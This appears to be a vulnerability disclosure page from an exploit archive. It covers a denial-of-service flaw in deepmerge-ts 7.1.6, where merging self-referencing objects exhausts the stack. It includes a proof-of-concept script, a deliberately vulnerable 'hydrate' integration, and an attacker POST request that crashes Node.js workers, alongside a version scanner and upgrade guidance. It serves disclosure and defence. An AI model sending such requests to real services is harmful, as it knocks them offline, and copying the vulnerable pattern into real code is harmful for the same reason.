## https://sploitus.com/exploit?id=9237F56D-2B4D-570E-81BF-CDAFEC0CC1D5
# deepmerge-ts merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
```
The same behavior is reachable through `deepmergeInto`, `deepmergeCustom`, and `deepmergeIntoCustom` when they receive the same kind of graph.
## Local reproduction
The package is pinned to the affected `7.1.6` release in `package.json`.
```bash
npm install
npm run poc
```
The complete test is in [poc.mjs](./poc.mjs). It runs both public APIs locally and catches the expected `RangeError` so the result is easy to read.
The important part of the PoC is:
```js
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
```
Expected output:
```text
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
```
The PoC returns success when the affected behavior is observed. If the package is upgraded and both calls complete, it prints a clean result and exits with status `1` because the issue was not reproduced.
## How this can be exploited
There is no magic cyclic JSON payload. A normal JSON parser creates an acyclic graph, so this is not triggered by simply sending a very deep JSON body to:
```js
deepmerge(defaults, req.body);
```
The application needs to create or preserve the cycle before calling the merge function. That can happen in graph hydration code, a reference-preserving deserializer, cache or session object reuse, or custom logic that links records together.
Here is a small example of a vulnerable integration. The `hydrate` function turns a user-controlled flag into a self-reference:
```js
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
```
If an HTTP route calls `mergeRequest`, an attacker can send:
```http
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
```
Both sides now contain a `self` reference. When the route calls `deepmerge(left, right)`, the library follows `left.self` and `right.self`, receives the same pair again, and recurses until V8 throws.
An application does not have to use this exact `hydrate` function. The important conditions are:
1. Attacker-controlled data can influence a recursive object graph.
2. Both merge inputs contain a cycle at the same property path.
3. The graph reaches one of the affected merge APIs.
If the route is public and the exception is uncaught, a single request can stop the Node.js worker. If a process supervisor automatically restarts it, repeated requests can keep the service in a restart loop. If authentication is required, the attacker still needs access to that route.
This is a denial of service issue. The bug does not provide code execution, file access, or a way to read merge input from another request.
## Why JSON alone is not enough
This distinction matters when assessing a real application. The following request body is not itself a cycle:
```json
{
"self": true
}
```
It only becomes relevant if application code interprets `self: true` as a reference to the root object, or if another parser restores object references. The package should still handle the resulting graph safely, but the remote exploitability depends on the code around the package.
## Impact
The direct impact is availability through synchronous stack exhaustion.
Depending on the surrounding application, the result can be:
- one request failing with a `RangeError`
- an uncaught exception terminating a worker process
- repeated worker restarts under a process manager
- a request queue backing up while workers are restarted
- a service becoming unavailable when the route can be reached repeatedly
There is no confidentiality or integrity impact in this issue by itself. The severity increases when the merge route is unauthenticated, reachable from the public internet, or automatically retried by another service.
## Detection
I added [scanner.mjs](./scanner.mjs) to find affected dependency references before running the crash PoC. It checks:
- `package.json` dependency ranges
- `package-lock.json`
- `npm-shrinkwrap.json`
- `pnpm-lock.yaml`
Run it against a project directory:
```bash
node scanner.mjs /path/to/project
```
For CI or other tooling, use JSON output:
```bash
node scanner.mjs /path/to/project --json
```
Example result for this repository:
```text
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
```
The scanner exits with status `1` when it finds an affected version or range. Git URLs and other non-semver sources are marked `REVIEW` instead of being silently treated as safe.
## Remediation
The direct fix is to upgrade to `deepmerge-ts >= 8.0.0` and refresh the lockfile.
```bash
npm install deepmerge-ts@^8.0.0
```
The application should also decide how recursive input is handled. Reasonable options are:
- reject cycles at the input boundary
- track visited object pairs during merging
- cap merge depth and fail with a controlled error
- catch merge errors at the request boundary
- monitor worker exits and restart loops
Catching the error is useful for process stability, but it does not remove the underlying denial of service if an attacker can repeat the request. Upgrading the dependency and handling recursive input are the important fixes.
## Verifying the patched release
Change the dependency to `8.0.1`, reinstall, and run the same PoC:
```bash
npm install deepmerge-ts@8.0.1
npm run poc
```
On the patched release both calls complete and the script prints:
```text
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
```
## References
- [GitHub Security Advisory](https://github.com/RebeccaStevens/deepmerge-ts/security/advisories/GHSA-ggr8-5vv4-36mx)
- [CVE-2026-40345](https://vulners.com/cve/CVE-2026-40345)
- [deepmerge-ts on npm](https://www.npmjs.com/package/deepmerge-ts)
- [CWE-674: Uncontrolled Recursion](https://cwe.mitre.org/data/definitions/674.html)
## License
The PoC and scanner in this repository are released under the [MIT License](./LICENSE).